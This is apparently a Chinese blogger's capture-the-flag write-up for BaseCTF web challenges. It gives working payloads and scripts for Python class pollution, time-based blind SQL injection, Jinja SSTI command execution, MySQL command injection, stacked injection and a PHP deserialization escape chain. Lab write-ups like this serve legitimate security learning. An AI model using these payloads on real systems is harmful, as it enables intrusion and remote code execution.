1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 Request: POST /pollute HTTP/1.1 Host: challenge.basectf.fun:27578 Cache-Control: max-age=0 Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Encoding: gzip, deflate Accept-Language: zh-CN,zh;q=0.9,en;q=0.8 Cookie: PHPSESSID=9c14647va91fmsku06lsevlmij Connection: close Content-Type: application/json Content-Length: 70 { "__init__":{ "__globals__":{ "__file__":"/flag" } } }
访问/read
即可
[Week4] only one sql 1 2 3 4 5 6 7 8 9 10 11 12 <?php highlight_file (__FILE__ );$sql = $_GET ['sql' ];if (preg_match ('/select|;|@|\n/i' , $sql )) { die ("你知道的,不可能有sql注入" ); } if (preg_match ('/"|\$|`|\\\\/i' , $sql )) { die ("你知道的,不可能有RCE" ); } $query = "mysql -u root -p123456 -e \"use ctf;select '没有select,让你执行一句又如何';" . $sql . "\"" ;system ($query );
发现可以插入sql语句,但是禁用了select
1 ?sql = update flag set id = 'wi' where data regexp '^Basectf' and if(data REGEXP '^Basectf{' ,sleep(3 ), 1 )
这是正则的姿势,后面想想好像这个也行
1 2 ?sql = show columns from flag Field Type Null Key Default Extra id varchar (300 ) YES NULL data varchar (300 ) YES NULL
字符转16进制
1 0x73656c656374202a2066726f6d2060666c616760
emm,发现不行,因为只能用一句话,所以还是盲注吧
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 import requestsimport timeurl = "http://challenge.basectf.fun:36108/" strings = 'qwertyuiopasdfghjklzxcvbnm-{}1234567890' target = '' for i in range (45 ): for j in strings: payload = "update flag set id = 'wi' where data regexp '^BaseCTF' and if(data REGEXP '^{}',sleep(1.5), 1)" .format ((target + j)) params = { 'sql' : payload } start_time = time.time() try : r = requests.get(url=url, params=params) end_time = time.time() response_time = end_time - start_time print (f"Trying character: {j} , response time: {response_time:.2 f} seconds" ) if response_time > 1 : target += j print (f"Found character: {j} , current target: {target} " ) break except requests.RequestException as e: print (f"Request failed: {e} " ) continue
调了半天的脚本发现是靶机过期了,然后调整一下flag就行了
[Fin] Jinja Mark 一看题目就是个SSTI,有几个路由可以看看
先写个脚本来爆破数字
1 2 3 4 5 6 7 8 9 10 11 12 13 14 import requestsimport timeurl="http://challenge.basectf.fun:47522/flag" for i in range (1000 ,10000 ): data={ 'lucky_number' :i } r=requests.post(url=url,data=data) print (i) time.sleep(0.3 ) print (r.text) if "用POST方式把 lucky_number 告诉我吧,只有四位数哦" not in r.text: break
emm,但是爆到2000多的时候我觉得太慢了,于是还是换成bp
来爆破了
最后爆破出来是5346得到源码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 BLACKLIST_IN_index = ['{' ,'}' ] def merge (src, dst ): for k, v in src.items(): if hasattr (dst, '__getitem__' ): if dst.get(k) and type (v) == dict : merge(v, dst.get(k)) else : dst[k] = v elif hasattr (dst, k) and type (v) == dict : merge(v, getattr (dst, k)) else : setattr (dst, k, v) @app.route('/magic' ,methods=['POST' , 'GET' ] ) def pollute (): if request.method == 'POST' : if request.is_json: merge(json.loads(request.data), instance) return "这个魔术还行吧" else : return "我要json的魔术" return "记得用POST方法把魔术交上来"
写个脚本来污染
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 import requestsimport jsonurl ="http://challenge.basectf.fun:47522/magic" payload={ "__class__" :{ "__init__" :{ "__globals__" :{ "BLACKLIST_IN_index" :() } } } } headers={'Content-Type' :'application/json' } payload_json=json.dumps(payload) print (payload_json)r=requests.post(url,data=payload_json,headers=headers) print (r.text)
污染成功,去打SSTI
1 2 3 http://challenge.basectf.fun:47522/index flag={{url_for.__globals__.__builtins__['__import__']('os').popen('tac /f*').read()}}
[Fin] Just Readme (前置) 1 2 <?php echo file_get_contents ($_POST ['file' ]);
CVE-2024-2961,由pwn的溢出打出RCE
[Fin] Back to the future 恢复一下git
1 githacker --url http://challenge.basectf.fun:44543/.git/ --output-folder './test'
很明显没有恢复完
1 2 3 4 5 6 7 git log --reflog git reset --hard e2bc04bc70f7b7476ae7ad0e943ef62aa2b5556e git reset --hard 9d85f10e0192ef630e10d7f876a117db41c30417 git reset --hard 8f7720b7891039b394e26e67ff10d6c6d2a144d5
然后发现没有用,这里我们直接尝试去show
一下历史文件
1 2 3 4 5 (kali㉿kali)-[~/桌面/tools/GitHack/test/7342810b0f8b9cfe4b3e3b9fb211765f] └─$ git log --oneline e2bc04b (HEAD -> master, origin/master, origin/HEAD) Remove Flag 9d85f10 Add What 8f7720b Initial Commit
就拿到flag
了
[Fin] 1z_php 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 <?php highlight_file ('index.php' );$emp =$_GET ['e_m.p' ];$try =$_POST ['try' ];if ($emp !="114514" &&intval ($emp ,0 )===114514 ){ for ($i =0 ;$i <strlen ($emp );$i ++){ if (ctype_alpha ($emp [$i ])){ die ("你不是hacker?那请去外场等候!" ); } } echo "只有真正的hacker才能拿到flag!" ."<br>" ; if (preg_match ('/.+?HACKER/is' ,$try )){ die ("你是hacker还敢自报家门呢?" ); } if (!stripos ($try ,'HACKER' ) === TRUE ){ die ("你连自己是hacker都不承认,还想要flag呢?" ); } $a =$_GET ['a' ]; $b =$_GET ['b' ]; $c =$_GET ['c' ]; if (stripos ($b ,'php' )!==0 ){ die ("收手吧hacker,你得不到flag的!" ); } echo (new $a ($b ))->$c (); } else { die ("114514到底是啥意思嘞?。?" ); } $shell =$_POST ['shell' ];eval ($shell );?>
绕第一层的时候Demo的参数写错了 ,浪费了一些时间
第一层用8进制绕过,第二层的话,用溢出绕过,第三层的话利用原生类进行读取
但是溢出这里得注意,hackbar发包不好用,所以使用Python脚本但是太多的话,又会直接给关了,不让连接
第三层这个原生类的利用在官方文档中仅仅只是一笔带过了所以测试一下就好了,又是一个新姿势
1 2 3 <?php echo (new SplFileObject ("php://filter/convert.base64-encode/resource=./2.php" ))->__toString ();
1 2 3 4 5 6 7 8 9 10 11 12 13 14 import requestsurl="http://challenge.basectf.fun:45966/" params={ 'e[m.p' :'0337522' , 'a' :'SplFileObject' , 'b' :'php://filter/convert.base64-encode/resource=flag.php' , 'c' :'__toString' } data={ 'try' :'1' *1000002 +'HACKER' } r=requests.post(url=url,params=params,data=data) print (r.text)
还有一个shell
但是用不上,找不到flag
[Fin] RCE or Sql Inject 1 2 3 4 5 6 7 8 9 10 11 <?php highlight_file (__FILE__ );$sql = $_GET ['sql' ];if (preg_match ('/se|ec|;|@|del|into|outfile/i' , $sql )) { die ("你知道的,不可能有sql注入" ); } if (preg_match ('/"|\$|`|\\\\/i' , $sql )) { die ("你知道的,不可能有RCE" ); } $query = "mysql -u root -p123456 -e \"use ctf;select 'ctfer! You can\\'t succeed this time! hahaha'; -- " . $sql . "\"" ;system ($query );
mysql
远程连接中可以执行命令?!,泰裤辣
1 system (\!) Execute a system shell command.
1 http://challenge.basectf.fun:33244/?sql=%0asystem env
[Fin] Sql Inject or RCE 1 2 3 4 5 6 7 8 9 10 11 <?php highlight_file (__FILE__ );$sql = $_GET ['sql' ];if (preg_match ('/se|ec|st|;|@|delete|into|outfile/i' , $sql )) { die ("你知道的,不可能有sql注入" ); } if (preg_match ('/"|\$|`|\\\\/i' , $sql )) { die ("你知道的,不可能有RCE" ); } $query = "mysql -u root -p123456 -e \"use ctf;select 'ctfer! You can\\'t succeed this time! hahaha'; -- " . $sql . "\"" ;system ($query );
使用delimiter
和handler
打一个堆叠注入
第一个关键词测试一下就知道怎么用了
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 mysql> delimiter ? mysql> show tables? + | Tables_in_newdb | + | flag | | sds_user | | users | + 3 rows in set (0.02 sec)mysql> select * from flag? + | id | name | description | + | 1 | alpha | first | | 2 | beta | second | | 3 | gamma | third | | 4 | alphabet | first - alphabet | | 5 | beta- gamma | second - beta- gamma | + 5 rows in set (0.02 sec)
所以我们重新设置之后就可以打堆叠,也就是第四周想进行的操作
1 2 3 4 5 6 7 8 9 10 mysql> handler flag open ? Query OK, 0 rows affected (0.01 sec) mysql> handler flag read next? + | id | name | description | + | 1 | alpha | first | + 1 row in set (0.02 sec)
成功读取了
1 ?sql=%0adelimiter wi%0ahandler flag openwi%0ahandler flag read next
[Fin] Lucky Number 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 from flask import Flask,request,render_template_string,render_templatefrom jinja2 import Templateimport jsonimport heavendef merge (src, dst ): for k, v in src.items(): if hasattr (dst, '__getitem__' ): if dst.get(k) and type (v) == dict : merge(v, dst.get(k)) else : dst[k] = v elif hasattr (dst, k) and type (v) == dict : merge(v, getattr (dst, k)) else : setattr (dst, k, v) class cls (): def __init__ (self ): pass instance = cls() BLACKLIST_IN_index = ['{' ,'}' ] def is_json (data ): try : json.loads(data) return True except ValueError: return False @app.route('/m4G1c' ,methods=['POST' , 'GET' ] ) def pollute (): if request.method == 'POST' : if request.is_json: merge(json.loads(request.data), instance) result = heaven.create() message = result["message" ] return "这个魔术还行吧 " + message else : return "我要json的魔术" return "记得用POST方法把魔术交上来" def create (kon="Kon" , pure="Pure" , *, confirm=False ): if confirm and "lucky_number" not in create.__kwdefaults__: return {"message" : "嗯嗯,我已经知道你要创造东西了,但是你怎么不告诉我要创造什么?" , "lucky_number" : "nope" } if confirm and "lucky_number" in create.__kwdefaults__: return {"message" : "这是你的lucky_number,请拿好,去/check下检查一下吧" , "lucky_number" : create.__kwdefaults__["lucky_number" ]} return {"message" : "你有什么想创造的吗?" , "lucky_number" : "nope" }
那么很明显看到可以污染两个属性之后就可以进行SSTI了
confirm
和lucky_number
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 import requestsimport jsonurl ="http://challenge.basectf.fun:30938" payload={ "__init__" :{ "__globals__" :{ "json" :{ "__spec__" :{ "__init__" :{ "__globals__" :{ "sys" :{ "modules" :{ "heaven" :{ "create" :{ "__kwdefaults__" :{ "confirm" :True , "lucky_number" :"5346" } } } } } } } } } } } } headers={'Content-Type' :'application/json' } payload_json=json.dumps(payload) print (payload_json)r=requests.post(url=url+"/m4G1c" ,data=payload_json,headers=headers) if "这个魔术还行吧" in r.text: r1=requests.get(url=url+"/check" ) print (r1.text)
然后进行SSTI
1 2 3 4 http://challenge.basectf.fun:32611/ssSstTti1 POST: flag={{url_for.__globals__.__builtins__['__import__']('os').popen('tac /f*').read()}}
[Fin] ez_php 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 <?php highlight_file (__file__);function substrstr ($data ) { $start = mb_strpos ($data , "[" ); $end = mb_strpos ($data , "]" ); return mb_substr ($data , $start + 1 , $end - 1 - $start ); } class Hacker { public $start ; public $end ; public $username ="hacker" ; public function __construct ($start ) { $this ->start=$start ; } public function __wakeup ( ) { $this ->username="hacker" ; $this ->end = $this ->start; } public function __destruct ( ) { if (!preg_match ('/ctfer/i' ,$this ->username)){ echo 'Hacker!' ; } } } class C { public $c ; public function __toString ( ) { $this ->c->c (); return "C" ; } } class T { public $t ; public function __call ($name ,$args ) { echo $this ->t->t; } } class F { public $f ; public function __get ($name ) { return isset ($this ->f->f); } } class E { public $e ; public function __isset ($name ) { ($this ->e)(); } } class R { public $r ; public function __invoke ( ) { eval ($this ->r); } } if (isset ($_GET ['ez_ser.from_you' ])){ $ctf = new Hacker ('{{{' .$_GET ['ez_ser.from_you' ].'}}}' ); if (preg_match ("/\[|\]/i" , $_GET ['substr' ])){ die ("NONONO!!!" ); } $pre = isset ($_GET ['substr' ])?$_GET ['substr' ]:"substr" ; $ser_ctf = substrstr ($pre ."[" .serialize ($ctf )."]" ); $a = unserialize ($ser_ctf ); throw new Exception ("杂鱼~杂鱼~" ); }
这一看就是一个逃逸序列化
1 Hacker::destruct->C::toString->T::call->F::get->E::isset->R::invoke
wakeup直接引用地址绕过,我记得我的php反序列化
里面提及到过,将end
处理了,外面会再序列化一层,这里与nep中的一样,需要逃逸,我再写写
每发送一个%f0abc,mb_strpos认为是4个字节,mb_substr认为是1个字节,相差3个字节(向后移动三位) 每发送一个%f0%9fab,mb_strpos认为是3个字节,mb_substr认为是1个字节,相差2个字节(向后移动两位) 每发送一个%f0%9f%9fa,mb_strpos认为是2个字节,mb_substr认为是1个字节,相差1个字节(向后移动一位)
每发送一个%9f,mb_strpos会忽略,mb_substr认为是1个字节,相差1个字节(向前移动一位)
然后我们先写poc
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 <?php class Hacker { public $start ; public $end ; public $username ="hacker" ; } class C { public $c ; } class T { public $t ; } class F { public $f ; } class E { public $e ; } class R { public $r ; } $a =new Hacker ();$a ->end=&$a ->username;$a ->start=new C ();$a ->start->c=new T ();$a ->start->c->t=new F ();$a ->start->c->t->f=new E ();$a ->start->c->t->f->e=new R ();$a ->start->c->t->f->e->r='phpinfo();' ;$b =array ($a ,null );echo serialize ($b );
然后写个Demo生成看看那里需要逃逸
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 <?php highlight_file (__file__);class Hacker { public $start ; public $end ; public $username ="hacker" ; public function __construct ($start ) { $this ->start=$start ; } public function __wakeup ( ) { $this ->username="hacker" ; $this ->end = $this ->start; } public function __destruct ( ) { if (!preg_match ('/ctfer/i' ,$this ->username)){ echo 'Hacker!' ; } } } class C { public $c ; public function __toString ( ) { $this ->c->c (); return "C" ; } } class T { public $t ; public function __call ($name ,$args ) { echo $this ->t->t; } } class F { public $f ; public function __get ($name ) { return isset ($this ->f->f); } } class E { public $e ; public function __isset ($name ) { ($this ->e)(); } } class R { public $r ; public function __invoke ( ) { eval ($this ->r); } } if (isset ($_GET ['ez_ser.from_you' ])){ $ctf = new Hacker ('{{{' .$_GET ['ez_ser.from_you' ].'}}}' ); echo serialize ($ctf ); }
传参
1 ?ez[ser.from_you=a:2:{i:0;O:6:"Hacker":3:{s:5:"start";O:1:"C":1:{s:1:"c";O:1:"T":1:{s:1:"t";O:1:"F":1:{s:1:"f";O:1:"E":1:{s:1:"e";O:1:"R":1:{s:1:"r";s:18:"system("tac /f*");";}}}}}s:3:"end";s:6:"hacker";s:8:"username";R:9;}i:1;N;}
得到了我们本身的ctf
的序列化payload
1 2 3 4 O:6:"Hacker":3:{s:5:"start";s:219:"{{{a:2:{i:0;O:6:"Hacker":3:{s:5:"start";O:1:"C":1:{s:1:"c";O:1:"T":1:{s:1:"t";O:1:"F":1:{s:1:"f";O:1:"E":1:{s:1:"e";O:1:"R":1:{s:1:"r";s:18:"system("tac /f*");";}}}}}s:3:"end";s:6:"hacker";s:8:"username";R:9;}i:1;N;}}}}";s:3:"end";N;s:8:"username";s:6:"hacker";} 截取有用的部分 a:2:{i:0;O:6:"Hacker":3:{s:5:"start";O:1:"C":1:{s:1:"c";O:1:"T":1:{s:1:"t";O:1:"F":1:{s:1:"f";O:1:"E":1:{s:1:"e";O:1:"R":1:{s:1:"r";s:18:"system("tac /f*");";}}}}}s:3:"end";s:6:"hacker";s:8:"username";R:9;}i:1;N;}
那么为了不影响我们正常反序列化
1 2 O:6:"Hacker":3:{s:5:"start";s:211:"{{{ 这些部分都是需要逃逸的
1 2 3 length=len ('O:6:"Hacker":3:{s:5:"start";s:211:"{{{' ) print (length)
所以是
1 %f0abc%f0abc%f0abc%f0abc%f0abc%f0abc%f0abc%f0abc%f0abc%f0abc%f0abc%f0abc%f0%9fab
那么本身的序列化payload是
1 a:2:{i:0;O:6:"Hacker":3:{s:5:"start";O:1:"C":1:{s:1:"c";O:1:"T":1:{s:1:"t";O:1:"F":1:{s:1:"f";O:1:"E":1:{s:1:"e";O:1:"R":1:{s:1:"r";s:18:"system("tac /f*");";}}}}}s:3:"end";s:6:"hacker";s:8:"username";R:9;}i:1;N;}
本身还要利用GC绕过抛出错误,这里直接进行修改即可
1 a:2:{i:0;O:6:"Hacker":3:{s:5:"start";O:1:"C":1:{s:1:"c";O:1:"T":1:{s:1:"t";O:1:"F":1:{s:1:"f";O:1:"E":1:{s:1:"e";O:1:"R":1:{s:1:"r";s:18:"system("tac /f*");";}}}}}s:3:"end";s:6:"hacker";s:8:"username";R:9;}i:0;N;}
最终payload
1 ?substr=%f0abc%f0abc%f0abc%f0abc%f0abc%f0abc%f0abc%f0abc%f0abc%f0abc%f0abc%f0abc%f0%9fab&ez[ser.from_you=a:2:{i:0;O:6:"Hacker":3:{s:5:"start";O:1:"C":1:{s:1:"c";O:1:"T":1:{s:1:"t";O:1:"F":1:{s:1:"f";O:1:"E":1:{s:1:"e";O:1:"R":1:{s:1:"r";s:18:"system("tac /f*");";}}}}}s:3:"end";s:6:"hacker";s:8:"username";R:9;}i:0;N;}
0x03 小结 打不动了,而且后面的我挺多知识点涉及的,我害的练啊